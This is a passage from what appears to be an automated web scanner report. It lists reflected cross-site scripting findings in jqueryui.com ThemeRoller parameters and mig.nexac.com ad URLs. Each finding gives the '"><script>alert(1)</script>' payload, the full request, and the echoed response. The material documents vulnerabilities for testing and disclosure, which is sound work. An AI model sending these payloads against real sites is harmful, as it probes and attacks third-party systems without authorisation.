-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:35 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222e1682"><script>alert(1)</script>1e6b425896f&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOp
...[SNIP]...

1.165. http://jqueryui.com/themeroller/ [iconColorHighlight parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the iconColorHighlight request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2d721"><script>alert(1)</script>46c3f0680d0 was submitted in the iconColorHighlight parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff2d721"><script>alert(1)</script>46c3f0680d0&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:46 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
e=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff2d721"><script>alert(1)</script>46c3f0680d0&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay
...[SNIP]...

1.166. http://jqueryui.com/themeroller/ [iconColorHover parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the iconColorHover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d5a2"><script>alert(1)</script>73ac7e461b1 was submitted in the iconColorHover parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=4545453d5a2"><script>alert(1)</script>73ac7e461b1&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:44 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
t=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=4545453d5a2"><script>alert(1)</script>73ac7e461b1&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpa
...[SNIP]...

1.167. http://jqueryui.com/themeroller/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 59120"><script>alert(1)</script>c2a036bcbaf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?59120"><script>alert(1)</script>c2a036bcbaf=1 HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:18 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 117121

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
<link rel="stylesheet" href="/themeroller/css/parseTheme.css.php?ctl=themeroller&59120"><script>alert(1)</script>c2a036bcbaf=1" type="text/css" media="all" />
...[SNIP]...

1.168. http://jqueryui.com/themeroller/ [offsetLeftShadow parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the offsetLeftShadow request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 205ab"><script>alert(1)</script>04fa8eb0f56 was submitted in the offsetLeftShadow parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px205ab"><script>alert(1)</script>04fa8eb0f56&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:27:01 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px205ab"><script>alert(1)</script>04fa8eb0f56&cornerRadiusShadow=8px" type="text/css" media="all" />
...[SNIP]...

1.169. http://jqueryui.com/themeroller/ [offsetTopShadow parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the offsetTopShadow request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5e3dd"><script>alert(1)</script>da16dd977e3 was submitted in the offsetTopShadow parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px5e3dd"><script>alert(1)</script>da16dd977e3&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:27:00 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
aaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px5e3dd"><script>alert(1)</script>da16dd977e3&offsetLeftShadow=-8px&cornerRadiusShadow=8px" type="text/css" media="all" />
...[SNIP]...

1.170. http://jqueryui.com/themeroller/ [opacityOverlay parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the opacityOverlay request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f715b"><script>alert(1)</script>7dca66d889b was submitted in the opacityOverlay parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30f715b"><script>alert(1)</script>7dca66d889b&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:49 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30f715b"><script>alert(1)</script>7dca66d889b&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px" type="text/css" media="all
...[SNIP]...

1.171. http://jqueryui.com/themeroller/ [opacityShadow parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the opacityShadow request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bf774"><script>alert(1)</script>55c550506ed was submitted in the opacityShadow parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30bf774"><script>alert(1)</script>55c550506ed&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:58 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30bf774"><script>alert(1)</script>55c550506ed&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px" type="text/css" media="all" />
...[SNIP]...

1.172. http://jqueryui.com/themeroller/ [thicknessShadow parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the thicknessShadow request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3419"><script>alert(1)</script>8dc9eba3e21 was submitted in the thicknessShadow parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8pxa3419"><script>alert(1)</script>8dc9eba3e21&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:27:00 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8pxa3419"><script>alert(1)</script>8dc9eba3e21&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px" type="text/css" media="all" />
...[SNIP]...

1.173. http://mig.nexac.com/2/B3DM/DLX/1@x96 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://mig.nexac.com
Path:	/2/B3DM/DLX/1@x96

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1fa21"><script>alert(1)</script>f82fa5ba772 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/B3DM1fa21"><script>alert(1)</script>f82fa5ba772/DLX/1@x96 HTTP/1.1
Host: mig.nexac.com
Proxy-Connection: keep-alive
Referer: http://dm.de.mookie1.com/2/B3DM/DLX/1937870846@x92?
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800+KPMAAfCd; na_tc=Y

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:59:20 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 327
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e2d45525d5f4f58455e445a4a423660;path=/

<A HREF="http://mig.nexac.com/RealMedia/ads/click_lx.ads/B3DM1fa21"><script>alert(1)</script>f82fa5ba772/DLX/1673624573/x96/default/empty.gif/726348573830302b4b504d4141664364?x" target="_top"><IMG SRC
...[SNIP]...

1.174. http://mig.nexac.com/2/B3DM/DLX/1@x96 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://mig.nexac.com
Path:	/2/B3DM/DLX/1@x96

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 14b33"><script>alert(1)</script>29f506260ec was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/B3DM/DLX14b33"><script>alert(1)</script>29f506260ec/1@x96 HTTP/1.1
Host: mig.nexac.com
Proxy-Connection: keep-alive
Referer: http://dm.de.mookie1.com/2/B3DM/DLX/1937870846@x92?
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800+KPMAAfCd; na_tc=Y

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:59:24 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 327
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e2b45525d5f4f58455e445a4a423660;path=/

<A HREF="http://mig.nexac.com/RealMedia/ads/click_lx.ads/B3DM/DLX14b33"><script>alert(1)</script>29f506260ec/1143833049/x96/default/empty.gif/726348573830302b4b504d4141664364?x" target="_top"><IMG SRC
...[SNIP]...

1.175. http://mig.nexac.com/2/B3DM/DLX/1@x96 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://mig.nexac.com
Path:	/2/B3DM/DLX/1@x96

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3dbe3"><script>alert(1)</script>dc805862fa was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/B3DM/DLX/1@x963dbe3"><script>alert(1)</script>dc805862fa HTTP/1.1
Host: mig.nexac.com
Proxy-Connection: keep-alive
Referer: http://dm.de.mookie1.com/2/B3DM/DLX/1937870846@x92?
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800+KPMAAfCd; na_tc=Y

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:59:26 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 318
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e5145525d5f4f58455e445a4a423660;path=/

